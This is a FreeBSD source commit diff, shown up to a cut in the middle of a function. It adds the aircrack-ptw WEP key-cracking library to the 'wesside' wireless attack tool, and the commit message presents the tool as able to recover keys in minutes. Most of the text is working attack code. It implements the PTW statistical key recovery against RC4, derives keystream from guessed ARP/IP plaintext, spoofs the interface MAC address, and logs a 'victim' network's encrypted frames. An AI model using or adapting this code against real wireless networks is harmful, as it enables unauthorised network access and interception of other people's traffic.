summaryrefslogtreecommitdiffstats
path: root/tools
diff options
context:
space:
mode:
authorsam <sam@FreeBSD.org>2007-04-08 21:18:15 +0000
committersam <sam@FreeBSD.org>2007-04-08 21:18:15 +0000
commit61e8c2791dec9f1f0ee325c5b5668039c07b3041 (patch)
tree160347e20ce3c8d74e401c1c0b807934bbc63e55 /tools
parent5b98ea3bb85bd726dac504e939d66e84204b7450 (diff)
downloadFreeBSD-src-61e8c2791dec9f1f0ee325c5b5668039c07b3041.zip
FreeBSD-src-61e8c2791dec9f1f0ee325c5b5668039c07b3041.tar.gz
Due to the recent "aircrack-ptw" WEP cracking discovery, I thought
that it might be worth fixing a couple of bugs in wesside and making it use the new cracking technique. I think this enhancement makes the tool quite usable. It is possible to recover keys in only a couple of minutes. * Fix ACKs. Firmware will ACK data [just set the MAC addr correctly]. * Fix RX routines. Process all packets read(). * Use aircrack-ptw [built-in] rather than external aircrack. * Log data in pcap format so that it may be used by others [e.g. aircrack-ng]. Submitted by: Andrea Bittau <a.bittau@cs.ucl.ac.uk>
Diffstat (limited to 'tools')
-rw-r--r--tools/tools/net80211/wesside/wesside/Makefile1
-rw-r--r--tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c488
-rw-r--r--tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h83
-rw-r--r--tools/tools/net80211/wesside/wesside/wesside.c500
4 files changed, 909 insertions, 163 deletions
diff --git a/tools/tools/net80211/wesside/wesside/Makefile b/tools/tools/net80211/wesside/wesside/Makefile
index da912e9..58f1855 100644
--- a/tools/tools/net80211/wesside/wesside/Makefile
+++ b/tools/tools/net80211/wesside/wesside/Makefile
@@ -6,5 +6,6 @@ DPADD= ${LIBZ}
LDADD= -lz
CFLAGS=-g
NO_MAN=
+SRCS=wesside.c aircrack-ptw-lib.c
.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c
new file mode 100644
index 0000000..99db7c5
--- /dev/null
+++ b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c
@@ -0,0 +1,488 @@
+/*-
+ * Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "aircrack-ptw-lib.h"
+
+
+#define n PTW_n
+#define CONTROLSESSIONS PTW_CONTROLSESSIONS
+#define KEYHSBYTES PTW_KEYHSBYTES
+#define KSBYTES PTW_KSBYTES
+#define IVBYTES PTW_IVBYTES
+#define TESTBYTES 6
+
+
+// Internal state of rc4
+typedef struct {
+ uint8_t i;
+ uint8_t j;
+ uint8_t s[n];
+} rc4state;
+
+
+// Helper structures for sorting
+typedef struct {
+ int keybyte;
+ uint8_t value;
+ int distance;
+} sorthelper;
+
+typedef struct {
+ int keybyte;
+ double difference;
+} doublesorthelper;
+
+// The rc4 initial state, the idendity permutation
+static const uint8_t rc4initial[] =
+{0,1,2,3,4,5,6,7,8,9,10,
+11,12,13,14,15,16,17,18,19,20,
+21,22,23,24,25,26,27,28,29,30,
+31,32,33,34,35,36,37,38,39,40,
+41,42,43,44,45,46,47,48,49,50,
+51,52,53,54,55,56,57,58,59,60,
+61,62,63,64,65,66,67,68,69,70,
+71,72,73,74,75,76,77,78,79,80,
+81,82,83,84,85,86,87,88,89,90,
+91,92,93,94,95,96,97,98,99,100,
+101,102,103,104,105,106,107,108,109,110,
+111,112,113,114,115,116,117,118,119,120,
+121,122,123,124,125,126,127,128,129,130,
+131,132,133,134,135,136,137,138,139,140,
+141,142,143,144,145,146,147,148,149,150,
+151,152,153,154,155,156,157,158,159,160,
+161,162,163,164,165,166,167,168,169,170,
+171,172,173,174,175,176,177,178,179,180,
+181,182,183,184,185,186,187,188,189,190,
+191,192,193,194,195,196,197,198,199,200,
+201,202,203,204,205,206,207,208,209,210,
+211,212,213,214,215,216,217,218,219,220,
+221,222,223,224,225,226,227,228,229,230,
+231,232,233,234,235,236,237,238,239,240,
+241,242,243,244,245,246,247,248,249,250,
+251,252,253,254,255};
+
+
+// Values for p_correct_i
+static const double eval[] = {
+0.00534392069257663,
+0.00531787585068872,
+0.00531345769225911,
+0.00528812219217898,
+0.00525997750378221,
+0.00522647312237696,
+0.00519132541143668,
+0.0051477139367225,
+0.00510438884847959,
+0.00505484662057323,
+0.00500502783556246,
+0.00495094196451801,
+0.0048983441590402};
+
+// For sorting
+static int compare(const void * ina, const void * inb) {
+ PTW_tableentry * a = (PTW_tableentry * )ina;
+ PTW_tableentry * b = (PTW_tableentry * )inb;
+ if (a->votes > b->votes) {
+ return -1;
+ } else if (a->votes == b->votes) {
+ return 0;
+ } else {
+ return 1;
+ }
+}
+
+// For sorting
+static int comparedoublesorthelper(const void * ina, const void * inb) {
+ doublesorthelper * a = (doublesorthelper * )ina;
+ doublesorthelper * b = (doublesorthelper * )inb;
+ if (a->difference > b->difference) {
+ return 1;
+ } else if (a->difference == b->difference) {
+ return 0;
+ } else {
+ return -1;
+ }
+}
+
+
+// RC4 key setup
+static void rc4init ( uint8_t * key, int keylen, rc4state * state) {
+ int i;
+ int j;
+ uint8_t tmp;
+ memcpy(state->s, &rc4initial, n);
+ j = 0;
+ for (i = 0; i < n; i++) {
+ j = (j + state->s[i] + key[i % keylen]) % n;
+ tmp = state->s[i];
+ state->s[i] = state->s[j];
+ state->s[j] = tmp;
+ }
+ state->i = 0;
+ state->j = 0;
+}
+
+// RC4 key stream generation
+static uint8_t rc4update(rc4state * state) {
+ uint8_t tmp;
+ uint8_t k;
+ state->i++;
+ state->j += state->s[state->i];
+ tmp = state->s[state->i];
+ state->s[state->i] = state->s[state->j];
+ state->s[state->j] = tmp;
+ k = state->s[state->i] + state->s[state->j];
+
+ return state->s[k];
+}
+
+// For sorting
+static int comparesorthelper(const void * ina, const void * inb) {
+ sorthelper * a = (sorthelper * ) ina;
+ sorthelper * b = (sorthelper * ) inb;
+ if (a->distance > b->distance) {
+ return 1;
+ } else if (a->distance == b->distance) {
+ return 0;
+ } else {
+ return -1;
+ }
+}
+
+/*
+ * Guess the values for sigma_i
+ * iv - IV which was used for this packet
+ * keystream - keystream recovered
+ * result - buffer for the values of sigma_i
+ * kb - how many keybytes should be guessed
+ */
+static void guesskeybytes(uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) {
+ uint8_t state[n];
+ uint8_t j = 0;
+ uint8_t tmp;
+ int i;
+ int jj = IVBYTES;
+ uint8_t ii;
+ uint8_t s = 0;
+ memcpy(state, rc4initial, n);
+ for (i = 0; i < IVBYTES; i++) {
+ j += state[i] + iv[i];
+ tmp = state[i];
+ state[i] = state[j];
+ state[j] = tmp;
+ }
+ for (i = 0; i < kb; i++) {
+ tmp = jj - keystream[jj-1];
+ ii = 0;
+ while(tmp != state[ii]) {
+ ii++;
+ }
+ s += state[jj];
+ ii -= (j+s);
+ result[i] = ii;
+ jj++;
+ }
+ return;
+}
+
+/*
+ * Is a guessed key correct?
+ */
+static int correct(PTW_attackstate * state, uint8_t * key, int keylen) {
+ int i;
+ int j;
+ uint8_t keybuf[PTW_KSBYTES];
+ rc4state rc4state;
+
+ for (i = 0; i < state->sessions_collected; i++) {
+ memcpy(&keybuf[IVBYTES], key, keylen);
+ memcpy(keybuf, state->sessions[i].iv, IVBYTES);
+ rc4init(keybuf, keylen+IVBYTES, &rc4state);
+ for (j = 0; j < TESTBYTES; j++) {
+ if ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) {
+ return 0;
+ }
+ }
+ }
+ return 1;
+}
+
+/*
+ * Calculate the squaresum of the errors for both distributions
+ */
+static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) {
+ int i,j;
+ int numvotes = 0;
+ double e;
+ double e2;
+ double emax;
+ double help = 0.0;
+ double maxhelp = 0;
+ double maxi = 0;
+ for (i = 0; i < n; i++) {
+ numvotes += orgtable[0][i].votes;
+ }
+ e = numvotes/n;
+ for (i = 0; i < keylen; i++) {
+ emax = eval[i] * numvotes;
+ e2 = ((1.0 - eval[i])/255.0) * numvotes;
+ normal[i] = 0;
+ ausreiser[i] = 0;
+ maxhelp = 0;
+ maxi = 0;
+ for (j = 0; j < n; j++) {
+ if (orgtable[i][j].votes > maxhelp) {
+ maxhelp = orgtable[i][j].votes;
+ maxi = j;
+ }
+ }
+ for (j = 0; j < n; j++) {
+ if (j == maxi) {
+ help = (1.0-orgtable[i][j].votes/emax);
+ } else {
+ help = (1.0-orgtable[i][j].votes/e2);
+ }
+ help = help*help;
+ ausreiser[i] += help;
+ help = (1.0-orgtable[i][j].votes/e);
+ help = help*help;
+ normal[i] += help;
+ }
+ }
+}
+
+/*
+ * Guess a single keybyte
+ */
+static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes) {
+ int i;
+ uint8_t tmp;
+ if (keybyte == keylen) {
+ return correct(state, key, keylen);
+ } else if (strongbytes[keybyte] == 1) {
+ // printf("assuming byte %d to be strong\n", keybyte);
+ tmp = 3 + keybyte;
+ for (i = keybyte-1; i >= 1; i--) {
+ tmp += 3 + key[i] + i;
+ key[keybyte] = 256-tmp;
+ if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (256-tmp+sum)%256, strongbytes) == 1) {
+ printf("hit with strongbyte for keybyte %d\n", keybyte);
+ return 1;
+ }
+ }
+ return 0;
+ } else if (keybyte == fixat) {
+ key[keybyte] = fixvalue-sum;
+ return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes);
+ } else {
+ for (i = 0; i < searchborders[keybyte]; i++) {
+ key[keybyte] = sortedtable[keybyte][i].b - sum;
+ if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes) == 1) {
+ return 1;
+ }
+ }
+ return 0;
+ }
+}
+
+/*
+ * Do the actual computation of the key
+ */
+static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit) {
+ int i,j;
+ int choices[KEYHSBYTES];
+ int prod;
+ int fixat;
+ int fixvalue;
+
+ for (i = 0; i < keylen; i++) {
+ if (strongbytes[i] == 1) {
+ choices[i] = i;
+ } else {
+ choices[i] = 1;
+ }
+ }
+ i = 0;
+ prod = 0;
+ fixat = -1;
+ fixvalue = 0;
+
+ while(prod < keylimit) {
+ if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes) == 1) {
+ // printf("hit with %d choices\n", prod);
+ return 1;
+ }
+ choices[sh2[i].keybyte]++;
+ fixat = sh2[i].keybyte;
+ // printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]);
+ fixvalue = sh2[i].value;
+ prod = 1;
+ for (j = 0; j < keylen; j++) {
+ prod *= choices[j];
+ }
+ do {
+ i++;
+ } while (strongbytes[sh2[i].keybyte] == 1);
+
+ }
+ return 0;
+}
+
+
+/*
+ * Guess which key bytes could be strong and start actual computation of the key
+ */
+int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit) {
+ int strongbytes[KEYHSBYTES];
+ double normal[KEYHSBYTES];
+ double ausreisser[KEYHSBYTES];
+ doublesorthelper helper[KEYHSBYTES];
+ int simple, onestrong, twostrong;
+ int i,j;
+
+ onestrong = (testlimit/10)*2;
+ twostrong = (testlimit/10)*1;
+ simple = testlimit - onestrong - twostrong;
+
+ PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
+ if (table == NULL) {
+ printf("could not allocate memory\n");
+ exit(-1);
+ }
+ memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
+
+ // now, sort the table
+ for (i = 0; i < keylen; i++) {
+ qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
+ strongbytes[i] = 0;
+ }
+
+ sorthelper (* sh)[n-1] = alloca(sizeof(sorthelper) * (n-1) * keylen);
+ if (sh == NULL) {
+ printf("could not allocate memory\n");
+ exit(-1);
+ }
+
+
+ for (i = 0; i < keylen; i++) {
+ for (j = 1; j < n; j++) {
+ sh[i][j-1].distance = table[i][0].votes - table[i][j].votes;
+ sh[i][j-1].value = table[i][j].b;
+ sh[i][j-1].keybyte = i;
+ }
+ }
+ qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper);
+
+
+ if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple)) {
+ return 1;
+ }
+
+ // Now one strong byte
+ getdrv(state->table, keylen, normal, ausreisser);
+ for (i = 0; i < keylen-1; i++) {
+ helper[i].keybyte = i+1;
+ helper[i].difference = normal[i+1] - ausreisser[i+1];
+ }
+ qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper);
+ strongbytes[helper[0].keybyte] = 1;
+ if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong)) {
+ return 1;
+ }
+
+ // two strong bytes
+ strongbytes[helper[1].keybyte] = 1;
+ if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong)) {
+ return 1;
+ }
+
+ return 0;
+}
+
+/*
+ * Add a new session to the attack
+ * state - state of attack
+ * iv - IV used in the session
+ * keystream - recovered keystream from the session
+ */
+int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) {
+ int i;
+ int il;
+ int ir;
+ uint8_t buf[PTW_KEYHSBYTES];
+
+ i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
+ il = i/8;
+ ir = 1 << (i%8);
+ if ((state->seen_iv[il] & ir) == 0) {
+ state->packets_collected++;
+ state->seen_iv[il] |= ir;
+ guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES);
+ for (i = 0; i < KEYHSBYTES; i++) {
+ state->table[i][buf[i]].votes++;
+ }
+ if (state->sessions_collected < CONTROLSESSIONS) {
+ memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
+ memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES);
+ state->sessions_collected++;
+ }
+ return 1;
+ } else {
+ return 0;
+ }
+}
+
+/*
+ * Allocate a new attackstate
+ */
+PTW_attackstate * PTW_newattackstate() {
+ int i,k;
+ PTW_attackstate * state = NULL;
+ state = malloc(sizeof(PTW_attackstate));
+ if (state == NULL) {
+ return NULL;
+ }
+ bzero(state, sizeof(PTW_attackstate));
+ for (i = 0; i < PTW_KEYHSBYTES; i++) {
+ for (k = 0; k < n; k++) {
+ state->table[i][k].b = k;
+ }
+ }
+ return state;
+}
+
+/*
+ * Free an allocated attackstate
+ */
+void PTW_freeattackstate(PTW_attackstate * state) {
+ free(state);
+ return;
+}
+
diff --git a/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h
new file mode 100644
index 0000000..dcd30d7
--- /dev/null
+++ b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h
@@ -0,0 +1,83 @@
+/*-
+ * Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <stdint.h>
+
+// Number of bytes we use for our table of seen IVs, this is (2^24)/8
+#define PTW_IVTABLELEN 2097152
+
+// How many sessions do we use to check if a guessed key is correct
+// 10 seems to be a reasonable choice
+#define PTW_CONTROLSESSIONS 10
+
+// The maximum possible length of the main key, 13 is the maximum for a 104 bit key
+#define PTW_KEYHSBYTES 13
+
+// How long the IV is, 3 is the default value for WEP
+#define PTW_IVBYTES 3
+
+// How many bytes of a keystream we collect, 16 are needed for a 104 bit key
+#define PTW_KSBYTES 16
+
+// The MAGIC VALUE!!
+#define PTW_n 256
+
+// We use this to keep track of the outputs of A_i
+typedef struct {
+ // How often the value b appeard as an output of A_i
+ int votes;
+
+ uint8_t b;
+} PTW_tableentry;
+
+// A recovered session
+typedef struct {
+ // The IV used in this session
+ uint8_t iv[PTW_IVBYTES];
+ // The keystream used in this session
+ uint8_t keystream[PTW_KSBYTES];
+} PTW_session;
+
+// The state of an attack
+// You should usually never modify these values manually
+typedef struct {
+ // How many unique packets or IVs have been collected
+ int packets_collected;
+ // Table to check for duplicate IVs
+ uint8_t seen_iv[PTW_IVTABLELEN];
+ // How many sessions for checking a guessed key have been collected
+ int sessions_collected;
+ // The actual recovered sessions
+ PTW_session sessions[PTW_CONTROLSESSIONS];
+ // The table with votes for the keybytesums
+ PTW_tableentry table[PTW_KEYHSBYTES][PTW_n];
+} PTW_attackstate;
+
+PTW_attackstate * PTW_newattackstate();
+void PTW_freeattackstate(PTW_attackstate *);
+int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *);
+int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int);
diff --git a/tools/tools/net80211/wesside/wesside/wesside.c b/tools/tools/net80211/wesside/wesside/wesside.c
index 5845fef..a220d99 100644
--- a/tools/tools/net80211/wesside/wesside/wesside.c
+++ b/tools/tools/net80211/wesside/wesside/wesside.c
@@ -43,6 +43,9 @@
#include <signal.h>
#include <stdarg.h>
#include <err.h>
+#include <pcap.h>
+
+#include "aircrack-ptw-lib.h"
#define FIND_VICTIM 0
#define FOUND_VICTIM 1
@@ -104,11 +107,15 @@ struct wep_log {
unsigned char iv[3];
} weplog;
+#define LINKTYPE_IEEE802_11 105
+#define TCPDUMP_MAGIC 0xA1B2C3D4
+
unsigned char* floodip = 0;
unsigned short floodport = 6969;
unsigned short floodsport = 53;
unsigned char* netip = 0;
+int netip_arg = 0;
unsigned char* rtrmac = 0;
@@ -118,6 +125,8 @@ unsigned char myip[16] = "192.168.0.123";
int bits = 0;
int ttl_val = 0;
+PTW_attackstate *ptw;
+
unsigned char *victim_mac = 0;
int ack_timeout = 100*1000;
@@ -125,10 +134,14 @@ int ack_timeout = 100*1000;
#define ARPLEN (8+ 8 + 20)
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
-#define WEP_FILE "wep.log"
+#define WEP_FILE "wep.cap"
+#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
unsigned int min_prga = 128;
@@ -141,12 +154,14 @@ unsigned int min_prga = 128;
*/
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
-int thresh_incr = 100000;
+
+#define INCR 30000
+int thresh_incr = INCR;
#define MAGIC_TTL_PAD 69
int crack_dur = 60;
-int wep_thresh = 100000;
+int wep_thresh = INCR;
int crack_pid = 0;
struct timeval crack_start;
struct timeval real_start;
@@ -248,7 +263,7 @@ void check_key() {
int rd;
struct timeval now;
- fd = open("key.log", O_RDONLY);
+ fd = open(KEY_FILE, O_RDONLY);
if (fd == -1) {
return;
@@ -320,6 +335,31 @@ void set_chan(int c) {
chaninfo.chan = c;
}
+void set_if_mac(unsigned char* mac, unsigned char *name) {
+ int s;
+ struct ifreq ifr;
+
+ s = socket(PF_INET, SOCK_DGRAM, 0);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, name);
+
+ ifr.ifr_addr.sa_family = AF_LINK;
+ ifr.ifr_addr.sa_len = 6;
+ memcpy(ifr.ifr_addr.sa_data, mac, 6);
+
+ if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
+ perror("ioctl(SIOCSIFLLADDR)");
+ exit(1);
+ }
+
+ close(s);
+}
+
void setup_if(char *dev) {
int s;
struct ifreq ifr;
@@ -334,6 +374,8 @@ void setup_if(char *dev) {
time_print("Setting up %s... ", dev);
fflush(stdout);
+
+ set_if_mac(mymac, dev);
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
@@ -516,7 +558,7 @@ void send_frame(int tx, unsigned char* buf, int len) {
time_print("ERROR Max retransmists for (%d bytes):\n",
lastlen);
hexdump(&lame[0], lastlen);
- exit(1);
+// exit(1);
}
len = lastlen;
// printf("Warning doing a retransmit...\n");
@@ -752,28 +794,8 @@ int get_victim_ssid(struct ieee80211_frame* wh, int len) {
return 0;
}
-// XXX: acks don't work for now... too slow!
void send_ack(int tx) {
- unsigned char buf[64];
- struct ieee80211_frame* wh;
-
- return;
-
- wh = (struct ieee80211_frame*) &buf[0];
-
- memset(buf, 0, sizeof(buf));
- wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
- memcpy(wh->i_addr1, victim.bss, 6);
-
- inject(tx, buf, 10);
-#if 0
- {
- struct timeval tv;
- gettimeofday(&tv, NULL);
-
- printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec);
- }
-#endif
+ /* firmware acks */
}
void do_llc(unsigned char* buf, unsigned short type) {
@@ -1209,26 +1231,28 @@ void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}
-void log_wep(unsigned char* body, int len) {
- unsigned char log[5];
+void log_wep(struct ieee80211_frame* wh, int len) {
int rd;
+ struct pcap_pkthdr pkh;
+ struct timeval tv;
+ unsigned char *body = (unsigned char*) (wh+1);
- if (body[3] != 0) {
- time_print("Key index=%x!!\n", body[3]);
- exit(1);
- }
-
- memcpy(log, body, 3);
- memcpy(&log[3], &body[4], 2);
+ memset(&pkh, 0, sizeof(pkh));
+ pkh.caplen = pkh.len = len;
+ if (gettimeofday(&tv, NULL) == -1)
+ err(1, "gettimeofday()");
+ pkh.ts = tv;
+ if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
+ err(1, "write()");
- rd = write(weplog.fd, log, sizeof(log));
+ rd = write(weplog.fd, wh, len);
if (rd == -1) {
perror("write()");
exit(1);
}
- if (rd != sizeof(log)) {
- time_print("short write %d out of %d\n", rd, sizeof(log));
+ if (rd != len) {
+ time_print("short write %d out of %d\n", rd, len);
exit(1);
}
@@ -1337,10 +1361,107 @@ void try_dictionary(struct ieee80211_frame* wh, int len) {
}
}
+int is_arp(struct ieee80211_frame *wh, int len)
+{
+ int arpsize = 8 + sizeof(struct arphdr) + 10*2;
+
+ if (len == arpsize || len == 54)
+ return 1;
+
+ return 0;
+}
+
+void *get_sa(struct ieee80211_frame *wh)
+{
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+ return wh->i_addr3;
+ else
+ return wh->i_addr2;
+}
+
+void *get_da(struct ieee80211_frame *wh)
+{
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+ return wh->i_addr1;
+ else
+ return wh->i_addr3;
+}
+
+int known_clear(void *clear, struct ieee80211_frame *wh, int len)
+{
+ unsigned char *ptr = clear;
+
+ /* IP */
+ if (!is_arp(wh, len)) {
+ unsigned short iplen = htons(len - 8);
+
+// printf("Assuming IP %d\n", len);
+
+ len = sizeof(S_LLC_SNAP_IP) - 1;
+ memcpy(ptr, S_LLC_SNAP_IP, len);
+ ptr += len;
+#if 1
+ len = 2;
+ memcpy(ptr, "\x45\x00", len);
+ ptr += len;
+
+ memcpy(ptr, &iplen, len);
+ ptr += len;
+#endif
+ len = ptr - ((unsigned char*)clear);
+ return len;
+ }
+// printf("Assuming ARP %d\n", len);
+
+ /* arp */
+ len = sizeof(S_LLC_SNAP_ARP) - 1;
+ memcpy(ptr, S_LLC_SNAP_ARP, len);
+ ptr += len;
+
+ /* arp hdr */
+ len = 6;
+ memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+ ptr += len;
+
+ /* type of arp */
+ len = 2;
+ if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
+ memcpy(ptr, "\x00\x01", len);
+ else
+ memcpy(ptr, "\x00\x02", len);
+ ptr += len;
+
+ /* src mac */
+ len = 6;
+ memcpy(ptr, get_sa(wh), len);
+ ptr += len;
+
+ len = ptr - ((unsigned char*)clear);
+ return len;
+}
+
+void add_keystream(struct ieee80211_frame* wh, int rd)
+{
+ unsigned char clear[1024];
+ int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
+ int clearsize;
+ unsigned char *body = (unsigned char*) (wh+1);
+ int i;
+
+ clearsize = known_clear(clear, wh, dlen);
+ if (clearsize < 16)
+ return;
+
+ for (i = 0; i < 16; i++)
+ clear[i] ^= body[4+i];
+
+ PTW_addsession(ptw, body, clear);
+}
+
void got_wep(struct ieee80211_frame* wh, int rd) {
int bodylen;
int dlen;
- unsigned char *clear;
+ unsigned char clear[1024];
int clearsize;
unsigned char *body;
@@ -1355,7 +1476,12 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
memcmp(wh->i_addr2, mymac, 6) != 0) ) {
- log_wep(body, dlen + 8);
+ if (body[3] != 0) {
+ time_print("Key index=%x!!\n", body[3]);
+ exit(1);
+ }
+ log_wep(wh, rd);
+ add_keystream(wh, rd);
// try to decrypt too
try_dictionary(wh, rd);
@@ -1445,17 +1571,8 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
return;
}
-
- time_print("Datalen=%d Assuming: ", dlen);
- if (dlen == ARPLEN || dlen == PADDED_ARPLEN) {
- clear = arp_clear;
- clearsize = sizeof(arp_clear) - 1;
- printf("ARP\n");
- } else {
- clear = ip_clear;
- clearsize = sizeof(ip_clear) - 1;
- printf("IP\n");
- }
+ clearsize = known_clear(clear, wh, dlen);
+ time_print("Datalen %d Known clear %d\n", dlen, clearsize);
set_prga(body, &body[4], clear, clearsize);
}
@@ -1495,58 +1612,12 @@ void stuff_for_net(struct ieee80211_frame* wh, int rd) {
}
void anal(unsigned char* buf, int rd, int tx) { // yze
-#define BIT(n) (1<<(n))
- struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
- struct ieee80211_radiotap_header* rth;
- struct ieee80211_frame* wh;
+ struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
int type,stype;
static int lastseq = -1;
int seq;
unsigned short *seqptr;
int for_us = 0;
- uint32_t present;
- uint8_t rflags;
-
- // BPF
- rd -= bpfh->bh_hdrlen;
- if (bpfh->bh_caplen != bpfh->bh_datalen) {
- time_print("Warning: caplen=%d datalen=%d\n",
- bpfh->bh_caplen, bpfh->bh_datalen);
- }
-
